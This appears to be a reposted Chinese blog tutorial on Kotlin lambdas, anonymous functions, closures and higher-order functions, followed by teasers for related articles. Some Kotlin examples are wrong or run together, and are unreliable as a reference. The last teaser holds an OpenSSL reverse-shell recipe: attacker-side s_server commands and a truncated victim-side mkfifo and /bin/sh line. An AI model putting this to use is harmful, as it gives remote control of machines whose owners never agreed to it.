Jetpack:009-kotlin中的lambda、匿名函数和闭包

文章目录

  • 1. 概念介绍
  • 2. 使用方法
    • 2.1 函数类型的变量
    • 2.2 高阶函数
  • 3. 内容总结
  • 4.经验分享

我们在上一章回中介绍了Jetpack中Icon和Imamg相关的内容,本章回中主要介绍Kotlin中的 lambda、匿名函数和闭包。闲话休提,让我们一起Talk Android Jetpack吧!

1. 概念介绍

关于lambda的概念比较抽象,我们通过它的特征来描述它的概念:由花括号包裹并且有箭头特征的表达式就是lambda,花括号是整个lambda的内容,箭头前的内容是它的参数,箭头后的内容是它的实现内容。

和lambda比较类似是的匿名函数和闭包,匿名函数就是没有函数名的函数,lambda也没有名称,因此它们十分相似,只有在函数有返回值的时候它们才不同:匿名函数有明确的return语句,而lambda表达式没有明确的返回语句,它通常把实现内容中最后一个表达式的值当作返回值。

闭包比较好理解:位于花括号中的内容就是闭包。虽然lambda也位于花括号内,但是它只是闭包的一部分,闭包中包含的内容不只是lambda,因此可以把lamdba看作是闭包的子集。

明白这些概念后,我们通过具体的代码来演示它的使用方法。

2. 使用方法

2.1 函数类型的变量

//变量类型是函数,使用匿名函数来赋值
var funValue:()->String = fun():String{return "this is a function"}
//变量类型是函数,使用lambda来赋值
var funValue0:()->String = {"this is a function"}
//变量类型是函数,使用匿名函数来赋值,省略变量类型
var funValue1 = fun():String { return "this is a function"}
//变量类型是函数,使用lambda赋值,省略变量类型
var funValue11 = {"this is a function"}
//只有一行语句时花括号也可以省略
var funValue111 = "this is a function"

上面的示例代码中,我们定义了变量funValueXXX(为了区分不同的变量名称在尾部添加了多个数字),它的类型是函数类型,我们先使用匿名函数给它赋值,然后再使用lambda表达式给它赋值,这样可以区分开匿名函数和lambda表达式的差异。

从代码中可以看到匿名函数的特点:有关键字fun和return.相比之下lambda就可以省略这些关键字,甚至连大括号也可以省略。接下来我再演示一个复杂一些函数类型。

//变量类型是函数,函数有参数,但是无返回值,使用匿名函数来赋值,这做做法也叫类型实例化
var funValue2:(values:Int)->Unit =fun (values:Int){ "this is a function,param:$values"}
//变量类型是函数,函数有参数,但是无返回值,使用匿lambda来赋值,这做做法也叫类型实例化
var funValue21:(values:Int)->Unit ={values ->  "this is a function,param:$values"}
//变量类型是函数,函数有参数和返回值,使用匿名函数来赋值
var funValue31:(values:Int)->String = fun(values):String {return "this is a function,param:$values"}
//变量类型是函数,函数有参数和返回值,使用lambda来赋值
var funValue32:(values:Int)->String ={values ->  "this is a function,param:$values"}
//变量类型是函数,使用lambda来赋值,省略了参数,只有一个参数时使用it代替参数,it是单个参数的隐式名称
var funValue33:(values:Int)->String ={ "this is a function,param:$it"}

上面的示例代码中,我们定义了变量funValueXXX(为了区分不同的变量名称在尾部添加了多个数字),它的类型是函数类型,这个函数带有参数,而且分有返回值和无返回值的两种情况。我们先使用匿名函数给它赋值,然后再使用lambda表达式给它赋值,这样可以区分开匿名函数和lambda表达式的差异。

从代码中可以看到当函数类型中包含返回值时匿名函数的内容比lambda多,lambda显得相对简洁一些。当函数类型中带有参数时lambda表达式显得更加简洁。

看了这么多示例,可以得出lambda表达式最大的特征就是有箭头。此外,lambda表达式还有一个语法就是省略参数,使用it来代替参数。这个语法在compose中经常使用。

2.2 高阶函数

高阶函数就是函数的参数或者返回值的类型是其它函数,相当于把函数当作变量传递给高阶函数的参数或者当作高阶函数的返回值。下面是我们通过示例代码来演示:

//高阶函数:函数的参数或者返回值是其它的函数,相当把函数当作数值来使用
fun inFun(name:String,age: Int):String {return name+age
}
//只有一行语句时可以省略大括号和return
fun inFun1(name:String,age: Int):String = name+age
//返回类型可以通过类型推导出来,也可以省略
fun inFun2(name:String,age: Int) = name+age//函数的第二个参数是函数类型
fun outFun(id:Int,type:(s:String,a:Int)->String):String {val age = (1..10).random()println(inFun("Sam ",age))println("id: $id, type: $type")return "age = $age"
}//通过函数引用把命名函数(具名函数)inFun1当作参数传递给outFun函数
var res = outFun(3, ::inFun1)
//把匿名函数当作参数传递给outFun函数,注意关键字fun不能省略
var res1 = outFun(33,fun(s:String,a:Int):String{return "str = $s ,$a"})//使用lambda表达式代替匿名函数,把lambda表达式传递给outFun函数
//注意lambda必须使用花括号包起来,箭头前是参数,箭头后是函数体
//注意匿名函数的return不能省略,lambda的可以省略,而且通常是最后一个表达式的值
var res2= outFun(33,{s:String,a:Int->"str = $s ,$a"})
//省略lambda表达式中的参数类型,返回类型,return关键字
var res3= outFun(33,{s,a->"str = $s ,$a"})
//函数的最后一参数是lambda时可以将其移动到括号外面(这叫尾lambda)
var res4= outFun(33){s,a->"str = $s ,$a"}

上面的示例代码中包含高阶函数,该函数的参数是函数类型,从示例代码中可以看到使用lambda表达式传递参数比匿名函数传递参数的代码要简洁一些。代码中介绍了函数的两种语法:

  • 通过等号来实现简单函数体,进而省花括号和return关键字;
  • 通过函数引用(两个冒号)来传递命名函数给高阶函数;

代码中还介绍一种尾lambda的语法:当lambda是高阶函数的最后一个参数时,可以将它移动到高阶函数的外面,也就是花括号中。这个语法在compose中十分常见。

3. 内容总结

最后,我们对本章回中的内容做一个总结:

  • lambda和匿名函数十分类似,它们都可以用来给函数类型的变量赋值,或者和高阶函数一起使用;
  • 与lambda表达式类似还有闭包,它的范围比较广,lambda只是它的一个子集;
  • 匿名函数的特征就是没有函数名,但是有fun和return关键字;
  • lambda表达式的特征就是有箭头和花括号;
  • 在大部分场景下lambda的语法更加简洁;

4.经验分享

关于lambda表达式和匿名函数的语法,大家普通的反应就是看不懂代码。这就是代码简洁与代码易懂之间的茅盾,我在开始看这类代码时也有同样的感觉,我的经验就是:尽量让代码保持简洁,如果感觉读不懂代码,那么多动手练习一下就可以掌握这种难理解的语法。比如,上面的示例代码都是我自己对匿名函数和lambda表达式的理解,多写一些就会明白其中的原理,到时候就能读懂代码了。

此外,还有一些特殊的语法,只能是硬记语法规则,这个没有任何窍门,好在特殊内容比较少,比如前面小节中介绍的尾lambda和it。

我最开始看这类代码是在Java中,还记得给Button添加监听器(setOnClickListener)就是使用匿名函数,刚开始不理解,但是写多了就养成了习惯,反而觉得这种写法十分方便。我把这个学习经验从Java迁移到了Kotlin中,在此分享给大家,希望对大家有帮助。

看官们,关于Kotlin中的lambda、匿名函数和闭包就介绍到这里,欢迎大家在评论区交流与讨论!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/106366.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C/C++基础讲解(一百三十二)之经典篇(贪食蛇)

C/C++基础讲解(一百三十二)之经典篇(贪食蛇) 程序之美 前言 很多时候,特别是刚步入大学的学子们,对于刚刚开展的计算机课程基本上是一团迷雾,想要弄明白其中的奥秘,真的要花费一些功夫,我和大家一样都是这么啃过来的,从不知到知知,懵懂到入门,每一步都走的很艰辛,课…

java 每种设计模式的作用,与应用场景

文章目录 前言java 每种设计模式的作用,与应用场景 前言 如果您觉得有用的话,记得给博主点个赞,评论,收藏一键三连啊,写作不易啊^ _ ^。   而且听说点赞的人每天的运气都不会太差,实在白嫖的话&#xff0…

机器学习之Sigmoid函数

文章目录 Sigmoid函数是一种常用的数学函数,通常用于将实数映射到一个特定的区间。它的形状类似于"S"形状曲线,因此得名。Sigmoid函数在机器学习、神经网络和统计学中经常被使用,主要用于二元分类和处理概率值。 Sigmoid函数的一般…

冲刺十五届蓝桥杯P0006平面切分

文章目录 题目思路代码总结 题目 平面切分 思路 这道题是一个思维题把,之前没有接触过平面几何的知识,做起来感觉还是比较难的,用到的set集合和自己创建一个类 首先我们知道,一根直线A是可以将平面切分成两块的,如…

Linux网络编程系列之服务器编程——阻塞IO模型

Linux网络编程系列 (够吃,管饱) 1、Linux网络编程系列之网络编程基础 2、Linux网络编程系列之TCP协议编程 3、Linux网络编程系列之UDP协议编程 4、Linux网络编程系列之UDP广播 5、Linux网络编程系列之UDP组播 6、Linux网络编程系列之服务器编…

【MySQL入门到精通-黑马程序员】MySQL基础篇-约束

文章目录 前言一、概述二、案例三、外键约束总结 前言 本专栏文章为观看黑马程序员《MySQL入门到精通》所做笔记,课程地址在这。如有侵权,立即删除。 一、概述 概念:约束是作用于表中字段上的规则,用于限制存储在表中的数据。目的…

Kafka 开启SASL/SCRAM认证 及 ACL授权(一)认证

Kafka 开启SASL/SCRAM认证 及 ACL授权(一)认证。 kafka安全涉及3部份:传输加密,用户认证与授权,ZK开启ACL(Zookeeper存储了kafka的元数据以及用户信息,默认不开启acl所有用户可改,内网环境机器不对外开放可考虑使用默认不开启ZK ACL)。 官网地址:https://kafka.ap…

文心一言:文心大模型 4.0 即将发布

本心、输入输出、结果 文章目录 文心一言:文心大模型 4.0 即将发布前言文心 4.0 的成本问题架构文心 4.0 是否可以对标 GPT-4文心4.0 会不会收费弘扬爱国精神文心一言:文心大模型 4.0 即将发布 编辑:简简单单 Online zuozuo 地址:https://blog.csdn.net/qq_15071263 前言 …

【算法练习Day21】组合剪枝

​📝个人主页:Sherry的成长之路 🏠学习社区:Sherry的成长之路(个人社区) 📖专栏链接:练题 🎯长路漫漫浩浩,万事皆有期待 文章目录 组合剪枝总结: …

机器学习-无监督学习之聚类

文章目录 K均值聚类密度聚类(DBSCAN)层次聚类AGNES 算法DIANA算法 高斯混合模型聚类聚类效果的衡量指标小结 K均值聚类 步骤: Step1:随机选取样本作为初始均值向量。 Step2:计算样本点到各均值向量的距离,…

npm命令介绍

npm 描述:Node Package Manager (NPM) 是 Node.js 的包管理器,用于安装、管理和发布 JavaScript 包。示例:npm -v npm access 描述:控制包的访问权限。需要管理员或拥有特定权限的用户才能执行。示例:npm access pu…

【评分卡实现】应用Python中的toad.ScoreCard函数实现评分卡

逻辑回归已经在各大银行和公司都实际运用于业务。之前的文章已经阐述了逻辑回归三部曲——逻辑回归和sigmod函数的由来、

html设置前端加载动画

主体思路参考: 前端实现页面加载动画_边城仔的博客-CSDN博客 JS图片显示与隐藏案例_js控制图片显示隐藏-CSDN博客 1、编写load.css /* 显示加载场景 */ .loadBackGround{position: absolute;top: 0px;text-align: center;width: 100%;height: 100vh;background-c…

Qt QSS基本属性样式表半通关

文章目录 简介语法基本语法选择器通用选择器类选择器ID 选择器后代选择器子元素选择器属性选择器并集选择器两个特殊的选择器子控件选择器伪类选择器Qss 的特性层叠性继承性(Qt-Version >= 5.7)简介 为了书写方便, 文中一律使用 Qss 代替 Qt style sheet. 首先来看 Qt 的官…

C# Thread.Sleep(0)有什么用?

一、理论分析 回答这个要先从线程时间精度(时间片)开始说起。很多参考书说,默认情况下,时间片为15ms 左右,但是这是已经过时的知识。在老的 Windows 操作系统里,应用程序模式时时间片 15ms 左右&#xff0…

Kafka SASL认证授权(五)ACL源码解析

Kafka SASL认证授权(五)ACL源码解析。 官网地址:https://kafka.apache.org/ 一、ACL检查流程解析 一起看一下kafka server的启动与监听流程: Kafka -> KafkaServer -> SocketServer、KafkaRequestHandler 其中KafkaServer做相关的初始化,包括SocketServer 与 han…

CSS复习笔记

CSS 文章目录 CSS1.概念2.CSS 引入方式3.选择器基础选择器:标签选择器类选择器id 选择器通配符选择器 复合选择器:**后代选择器****子代选择器****并集选择器****交集选择器-了解****伪类选择器** 结构伪类选择器:**:nth-child(公式)**伪元素…

解决 android Cannot access ‘<init>‘: it is private in

最近要在2个非直接依赖module使用单例&#xff0c;有一种注入依赖的方式可以&#xff0c;但是报了如下错误&#xff1a; Cannot access <init>: it is private in 经过查阅资料&#xff0c;原来是依赖的单例类的构造函数不能使用private&#xff0c;这里做个记录&#…

kafka简述

前言 ​ 在大数据高并发场景下&#xff0c;当系统中出现“生产“和“消费“的速度或稳定性等因素不一致的时候&#xff0c;就需要消息队列&#xff0c;作为抽象层&#xff0c;弥合双方的差异。一般选型是Kafka、RocketMQ&#xff0c;这源于这些中间件的高吞吐、可扩展以及可靠…

使用OpenSSL的反弹shell

1、攻击机生成证书&#xff1a; openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…